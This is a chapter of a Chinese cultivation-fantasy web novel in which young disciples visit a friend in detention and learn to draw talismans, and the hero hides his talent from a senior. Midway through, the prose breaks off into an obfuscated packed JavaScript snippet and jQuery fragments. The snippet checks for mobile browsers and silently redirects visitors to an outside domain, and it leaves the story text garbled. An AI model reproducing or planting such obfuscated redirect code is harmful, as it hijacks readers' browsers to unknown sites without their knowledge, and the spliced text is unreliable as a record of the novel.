陆铃兰话才说一半,就看清了屋内的情景,石蛰拿着一个鸡腿,陆知棠和云磬面对面站着,三人齐齐地看向她。
“......”
四个人,八只眼睛,在昏暗的禁闭室里面面相觑。
寂静持续了几秒。
随即,不知是谁先忍不住,“噗嗤”一声笑了出来。紧接着,低低的、压抑的笑声便接二连三地响起,充满了无奈和温暖。
陆知棠笑着摇头,把自己带来的两个馒头也塞给石蛰:“得,看来我是白担心了。不过也好,多吃点!吃不下装起来!”
陆铃兰红着脸,把自己带来的那个馒头贡献出来,小声说:“我好像是最少的。”
“没有没有。”石蛰也不管了,一股脑将几个包裹都收了,脸上露出幸福的神色:
“谢谢你们!”
陆知棠:“哎,说这话干什么,大家都是朋友。”
他又看向云磬,心中那点微不足道的怀疑,在此刻这冒着风险送温暖的举动面前,顿时烟消云散,只余下真挚的情感。
“哟,云磬兄还给留了鸡腿。”
云清徽矜持道:“毕竟事情因我而起。”
陆铃兰:“难道不是因为王鹏欠揍?”
云清徽:“话是这么说没错。”
几人因入门被打散之后的生分全都不见了,这儿毕竟是戒律堂,三人不能久留,说了会话后很快离开了。
走出戒律堂后,陆知棠看向云清徽,神情端正,语气真挚:“抱歉啊,云磬。”
“什么?”云清徽转向他,眼里满是不解。
陆知棠笑了起来,好心情地说:“没什么。”
“你们在说什么?”陆铃兰从身后扑向二人。
“没什么,在说明日的早课。”
“哎,明日的早课是不是又是张逸师兄?我觉得他好偏心的......”
三人一边闲聊着,一边踏着月色朝弟子房舍走去,清冷的银辉洒在小路上,护送着他们回去。
两天后,石蛰和王鹏都从戒律堂出来了,两人经过这回,关系更加恶劣,只是碍于师兄看着,不敢放肆,只等哪一天,矛盾再次爆发。
早课的内容也逐渐丰富起来,不再仅限于基础的吐纳。这日,前来授课的是一位面容温和的师兄,他站在众人前方,语气柔和地讲解道:
“修行之道,浩瀚如海,并非只有一味苦修灵力,修者有剑修,符修,药修,丹修......各有所长。修士需根据自身天赋与心性,选择适合自己的道路,方能事半功倍。”
“今日,便让你们初步接触其中一门——符修之道。”
“符箓,以特殊符文引动天地灵气,封存于符纸之上,使用时以灵力激发,可产生种种奇妙效果。今日,便教你们绘制最简单的一种,护身符。此符成功绘制后,能自动抵消一次最基础的物理或灵力冲击,虽效用微弱,却是入门首选。”
师兄仔细讲解了绘制护身符所需的笔法、灵力的灌注要点以及注意事项,随后便分发下最低等的符纸和朱砂,让众人自行尝试。
一时间,讲堂内安静下来,只听得见笔尖划过符纸的沙沙声。
云清徽凝神静气,照着之前师兄教的依样画葫芦在符纸上刻画。
等到最后一笔落下,他笔下那张看似平平无奇的黄色符箓,竟蓦地散发出了一层极其淡薄、却稳定而纯净的幽光!
“嗯?”台上正在巡视的师兄立刻察觉到这细微却成功的灵气波动,惊讶地快步走了下来,拿起云清徽桌上的符箓仔细查看,脸上露出赞许之色:
“灵力灌注均匀,符文勾勒精准,一次成功!很好!你于制符一道,颇有天赋。”
众人都惊讶地忘了过来,云清徽自己也是微微一怔,看着那发光的符箓,眼中掠过一丝难以置信。
他主修音律,为了以防万一,略懂丹药,但对制符一途可谓毫无涉猎,因此他方才制符时心无旁骛,完全沉浸其中,因为他觉得自己不可能一次就成功!
好消息是,他有天赋。
坏消息是,这算好消息么?
云清徽看着一旁一双亮晶晶的眼睛,向自己投来惊叹和崇拜目光的石蛰,颇觉头疼。
“啊!”
一道惊呼忽然打破这边气氛,只见陆铃兰震惊地捂住了自己的嘴,她案桌上黄色符箓,同样漾起了一层淡淡的光晕,看颜色,似乎比云清徽得还纯一点,浓一点。
师兄大步走向她,拿起符箓,眼中露出赞赏光彩。
“不错,非常不错。”
“你叫什么名字?”
“我是陆铃兰!”
“嗯。”师兄点点头,又看向云清徽:“你呢?”
“我叫云磬。”
师兄颔首,不再言语。
下课之后,性格开朗活泼的陆铃兰立刻被一群女弟子围住,七嘴八舌地讨教经验。而云清徽这边,则因他平日性情清冷,众人虽羡慕,却也不敢贸然上前打扰。
石蛰和陆知棠可不管这些,笑嘻嘻地凑过来。
“行啊云磬!深藏不露,一次就成功,太厉害了!”
“说不定你和铃兰能成为内门弟子呢!”
“到时候可别忘记同甘共苦的兄弟......”
今天课堂上二人表现果然引起了注意,晚间时候,吃完饭,来了一个仆从将云清徽和陆铃兰带走。
路上,陆铃兰紧张得手心冒汗,忍不住凑近云清徽,压低声音悄悄问:“云磬你说,是谁要见我们啊?”
“反正是门派内的人,或许,是觉得你我有制符天赋,想考验我们呢。”
情理上来说,应是如此。
“这样的话就最好了。”陆铃兰闻言,立刻松了口气,脸上又重新绽放出光彩,很快便沉浸在飘飘然的遐想之中。
在她单纯的构想里,确实是某位内门师兄或是长老听说了她的天赋,特意前来考验。而她不负众望,成功绘制出了更复杂的符箓,通过了考验。然后以“符道新一代天才”的名头冠绝同辈,被内门长老收为亲传弟子,获得无数修炼资源,万众瞩目,前程似锦……</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396579|184302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她越想越开心,嘴角抑制不住地上扬,云清徽在一旁看着她毫不掩饰的喜悦和憧憬,并未出言打断,只是安静地走着,月光将他侧脸的轮廓勾勒得有些模糊不清。
仆从将他们引至一处更为雅致的偏殿,殿内立着雕花灯盏,散发着柔和稳定的光芒,空气中弥漫着淡淡的檀香气息。
殿内,一名约莫二十来岁的年轻女子早已等候多时。她穿着月白色的袍子,袖口和衣襟处用银线绣着流云暗纹,在灯光下隐隐流动,容貌清秀,未施粉黛,一头青丝用一根簪子简单地绾在脑后。
青云山弟子不同制服代表了不同等级,如杂役仆从多是灰色粗布短打,他们外门弟子是青色短打,如张逸师兄这般是青色长袍,布料就好看许多,更高阶的则是月白色袍子,就如眼前人。
云清徽,陆铃兰连忙道:“见过师姐。”
“嗯。”
那女子微微颔首,道:“我姓林,听闻你二人今日初学制符,便一次成功绘出了护身符?”
“是。”
林师姐眼中闪过一丝兴趣:“我专修符箓一道,今天听说了这件事,来考考你们。白日那护身符过于基础,看不出太多门道。现在,我教你们两种稍难些的符箓——护盾符与火球符。”
“第一道是火球符。”
她并不多言,直接取来符纸朱砂,一边演示,一边清晰讲解两种符文的笔画顺序、灵力灌注的轻重缓急以及关键要点。她的讲解远比白天的师兄更为深入精妙,许多关窍之处一点即透。
讲解完毕,她便让两人各自尝试绘制。
云清徽心中已有计较,上午的成功实属意外,全是因他自己太过松懈,他并不欲惹人注目。于是这回他刻意控制着指尖的灵力,让其显得杂乱而不够专注,在绘制关键符文时,“不小心” 让灵力输出出现细微的偏差和断续。
待他画完最后一笔,桌上的符箓毫无光泽,死气沉沉,显然是一张失败的废符。
林师姐目光扫过,眼中流露出几分失望,但她并未多言,只是淡淡点了点头,随即看向另一侧的陆铃兰。
陆铃兰此刻也正好落下最后一笔,额角甚至沁出了细汗。她紧张地看着自己绘制的火球符——符纸静静躺着,没有散发白天那样的荧光。
她的小脸顿时垮了下来,失望之情溢于言表。
“莫急。”林师姐走到她身边,语气缓和了许多:
“不是所有符都会在成功后散发光芒的,两者灵气流动方式不同。你看——”
师姐拿起符,手指动了动,那符腾地燃起一团橘红色的火球,竟赫然自燃了起来。
“你看,成功了。”
陆铃兰顿时瞪大了眼睛,惊喜万分。
一旁云清徽也不由侧目。
他虽是第一次制符,但本身灵力充沛,外加接触过许多符箓,而陆铃兰是真正意义上的第一次接触,竟能一次成功,可见其在符道上的天赋相当不俗。
林师姐脸上也露出了满意的神色,点了点头:“不错,来,我再教你护盾符。”